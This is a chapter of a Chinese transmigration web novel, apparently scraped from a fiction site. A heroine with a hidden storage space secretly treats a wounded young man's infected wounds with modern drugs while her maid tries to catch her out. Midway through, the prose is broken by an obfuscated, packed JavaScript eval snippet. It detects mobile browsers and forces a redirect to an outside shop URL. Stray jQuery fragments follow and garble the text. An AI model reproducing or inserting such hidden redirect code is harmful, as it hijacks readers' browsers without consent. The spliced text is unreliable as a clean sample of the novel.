文趣网 > 其他小说 > 珍珠与油纸伞 > 15.我叫鸢
    屋内漆黑一片,无灯无火,床榻上原本昏厥的鸢猛然睁开了双眼。

    她迷茫地将手放在唇上,又吧唧了几下嘴,直到唇齿间尝出残留的粥渣,她才在心里惊觉方才那不是梦!

    鸢早该醒了,但她当时救人心切,一时忘了原主的身体虚弱,这才扛不住疲惫昏睡到现在。

    可既是喝的肉粥,嘴里怎的一点肉味都没有,那方才她咬住的肉又是何物?

    思索之际,窗外隐约传来细碎的谈话声,模糊低沉,似是鬼魅低语,且听着声不止两人!

    鸢眉心微蹙,她撑着酸软的身子缓缓坐起,轻挪身形挪至窗边,动作轻缓,小心翼翼地伸手在窗纸上抠出一个极小的针眼。

    她将一只眼抵在小孔处向外望去,院中夜色沉沉,昏暗的光线里根本看不清人影轮廓。小院夜深人静,她也不敢点灯,只能静静伏在窗边。

    片刻后,一道熟悉的女声清晰落进耳中。

    是软玉!

    夜幕已至,她又昏睡,作为原主的丫鬟就算不在身旁守着也应在屋里休息了,怎的还会有闲心在院中与人交谈?

    院内几人都将声音压的极低,鸢本想再次使用空间里的传声筒,可翻来翻去不仅没见到传声筒,就连现代科技也一并全部……消失了?!

    想到系统说的话——【你的空间里除了吃喝穿药以及符合现在这个世界的物品还在,其他一些基地科技武器等我已强行收回,且你的空间穿梭异能也已被强制封闭,现下你的空间就只是一个普通的储蓄空间。】

    可明明之前还能用啊!系!统!我****,鸢在心里暗骂道。

    鸢无奈只好换了姿势,将耳朵放置小孔处努力去听,但都只听得到声,听不清谈话内容。

    除了软玉的声音外,她还听到一年迈老夫子与一年轻男子的声音。

    年迈夫子倒是能想到老鹊,可这年轻男子的声音……听着也不像是那日黑衣男子的声音,难不成……是那姓江的摄政王?!

    想到这,她起身动了动筋骨后快步走向房门,想要目睹摄政王容貌,可待她拉住房门后却发现竟被上了锁!

    这才焦急地唤着软玉。

    房门被轻轻推开,夜风裹挟着院中的草木气息涌入屋内。

    鸢抬眸借着屋外渗进来的月光,望向她的身后,左右瞧着却偏偏不见一个踪影。

    软玉伸手向后伸了个懒腰,捂嘴边打哈欠边问,道:“怎么了鸢姐姐?”

    软玉离得近,鸢瞧她那装模作样的动作,身躯松散可眼神却无比坚定、炯炯有神,她抬手无奈扶额边摇头边叹了口气。

    看来……是软玉不想让她瞧见。

    鸢还未想到该怎么回软玉,肚子忽的发出“咕噜”似雷鸣般的响动,她眼底瞬间一亮,单手揉了揉肚子,低着脸装出害羞神色,轻声道:“我……饿了。”

    话落,短短“饿了”两个字,落在软玉耳中,让她心头猛地一震。

    她想起最初鸢姐姐与她交手晕倒据老鹊所说是吃坏了肚子,但这小院并未设有灶房,且她次次喂的不是汤药就是粥食,怎可能吃坏肚子。

    软玉装出一副担忧模样,问道:“鸢姐姐,还记得你第一次晕时,老鹊说你是吃坏了肚子,可你那时醒来前我喂的是寻常事物,你还记得在房间吃了什么吗?”

    软玉的眼神透彻清明,看起来倒真像是在担忧,但话音一落,鸢瞬间便听懂了她话里的试探。

    可关于空间一事,现下并不能告诉软玉,若是说了,恐会将她吓到,都是包子惹的祸啊……

    不过这倒是在鸢心里打了个警铃,前几次因心急从空间取物时,不知她是否看见了。

    思索时的松懈,险些让她脱口说出真相。

    她迅速压下心口的波澜,垂着眼睫掩去眸中情绪,语气平稳无波,一字一顿道:“没有。”

    软玉定定望着她沉静淡漠的眉眼,瞧不出半分破绽。

    眼瞧现下在鸢这里问不出什么所以然来,是她心急了,心底的疑惑依旧盘旋不散,但终究松了口,道:“那鸢姐姐想吃些什么?村里不似京城,平日里唯有粗粮稀粥可以果腹。”

    鸢抬眸,顺势接过话:“谁家有灶台?”

    “老鹊家。”软玉应声道。

    话落,鸢不再多言,提着裙摆便起身朝外走去。

    可她刚踏出房门半步,隔壁客房忽然间传来一声闷哼声。

    那声音压得极低,沙哑又沉闷,在寂静的深夜里格外清晰。

    鸢猛地刹住脚步,她骤然想起,今早救下的那个浑身是伤、昏迷倒地的男人。

    她指向另一边屋看向软玉,问道:“老鹊没来瞧吗?”

    “瞧过了。”软玉不知屋里发生了什么,但眼下需先将鸢送走,她才好去查探,“老鹊说他伤势严重,需静养数日。”

    “先等等。”鸢抬手止住欲要带她走的软玉,虽说她没看过几本正经书,但在末世与丧尸打交道三年的经验告诉她,就算是武器伤的,若是不及时处理或是处理不当,伤口恐会感染,“他不对劲,伤势怕是恶化了。”

    话音未落,她已然提裙快步冲向隔壁屋。

    屋内无灯,漆黑幽暗,刚一踏入房门,便能清晰闻到空气中弥漫开的血腥味。

    床榻之上,男人脊背紧绷,身形微微蜷缩,身躯正止不住地轻颤。

    微弱的月光下,隐约能看到他额前布满层层细密的银丝,唇色苍白。

    他死死咬着后槽牙,紊乱急促的呼吸。

    鸢快步走到床边,伸手一把轻轻掀开覆在他伤处的薄布。

    软玉跟在身后,点亮了床榻边的蜡烛,瞬间照亮了男人触目惊心的伤口。

    新旧伤痕纵横交错,密密麻麻布满全身,狰狞又恐怖。好几处创口已红肿外翻,边缘泛着紫红,中间凝着浑浊的脓白,是典型的发炎化脓症状,若是再拖延下去,必定高热溃烂。

    “软玉,快取一盆干净热水、一方洁净软布来,越快越好。”鸢回头焦急吩咐道。

    “是!”软玉不解,方才萧凌川还好好的,不过半个时辰伤势怎的会凶险?老鹊医术精湛,不该出现如此情况,虽心里疑惑,但她不敢有半分耽搁,应声转身,快步冲出院子赶往老鹊家。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794813|209064||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    屋内瞬间只剩两人,寂静得只剩下男人紊乱隐忍的喘息声。

    鸢站在床边,静立两秒,随后快速扫视四周,确认院内无人窥探后,便从空间里取出四样东西——两粒阿莫西林胶囊、一盒碘伏消毒液棉签、一支红霉素软膏以及一管破伤风针剂。

    她将药物藏在袖口,随后俯身看向床榻上强忍痛楚的男人。

    今早救人掀开他发帘时,他的脸已被血和土盖得模糊,眼下洗净后,眼瞧竟觉得有些美味……

    他生的清隽冷冽,鼻梁高挺,眉骨锋利,眼型微长,安静时自带一股生人勿近的冷意,但眼角与鼻骨处小痣的位置点的极好,淡化了他身上的疏离气息。

    这气质似比少年……

    鸢看的入迷,她吸了吸将要从嘴角处落下的银丝,许是动作惊动了榻上的少年,他静静望着眼前的女子,眸光沉沉,不说话,也不躲闪。

    少年的眼神像是能看透她的层层伪装。

    鸢被他看得呼吸一滞,心底莫名升起一丝局促。

    她迅速稳住心神,压下心底的异样,道:“你伤口已经化脓,软玉她去打水了,我等会帮你清理上药,你先吃下这个。”

    话落,她从袖口处掏出两粒阿莫西林胶囊,递给他:“你先拿着,我去给你倒水。”

    少年吃力地伸手接下。

    片刻后,他喉结轻轻滚动,将药咽下。

    做完这些事后,屋内瞬间又变得寂静,少年依旧躺在床上沉默,深邃的目光牢牢锁在她脸上。

    鸢被看的不自在,眼下见软玉还没回来,她先开口打破僵局,道:“敢问这位公子,姓甚名谁?家住何方?来这穷乡僻壤是为何?芳龄几许?可有婚配?”

    完了……问多了呀……

    鸢问他为何来这穷乡僻壤也不是没有道理,他来时穿的那身衣,面料与她身上的差不多,定是京城来的,她虽不京城离这多远,但瞧这周遭环境,盲猜应是离地远,若是如此,先前判断这男子密探的身份便对上了。

    少年清了清嗓,只淡淡回道:“萧凌川。”

    话落,鸢心里长舒一口气,不是那姓江的摄政王便好,若是他来,她还不知该如何应付他。

    见少年没有要继续说的意思,鸢又礼貌回道:“我叫鸢。”

    听了他的回答,鸢总觉得心里有些熟悉,许是与原主相识,不过这男人望向她的眼神,怎还带着一些期许?

    萧凌川躺在床榻上,回想起方才闻到了那股熟悉的胭脂粉味时,他早就瞧瞧眯起了双眼,不过片刻沈观雪的脸瞬间映入眼帘。

    他只欣喜一瞬,很快便被身上的伤痛地清醒过来。眼瞧着这位身披沈观雪外壳的异世女正看着自己发呆,心里的那股期待瞬间减弱半分。

    待她问他那些问题时,他便挑了个最简单的回答,经前三年异世女霸占沈观雪身体的经验,他并没有打算对眼前的异世女隐瞒自己的名,可话落看向她时,她的眼神里依旧透露出一丝不解与茫然。

    难不成……这次异世女的系统并没有告知她自己的身份?萧凌川心道。

    “鸢姐姐,水来了!”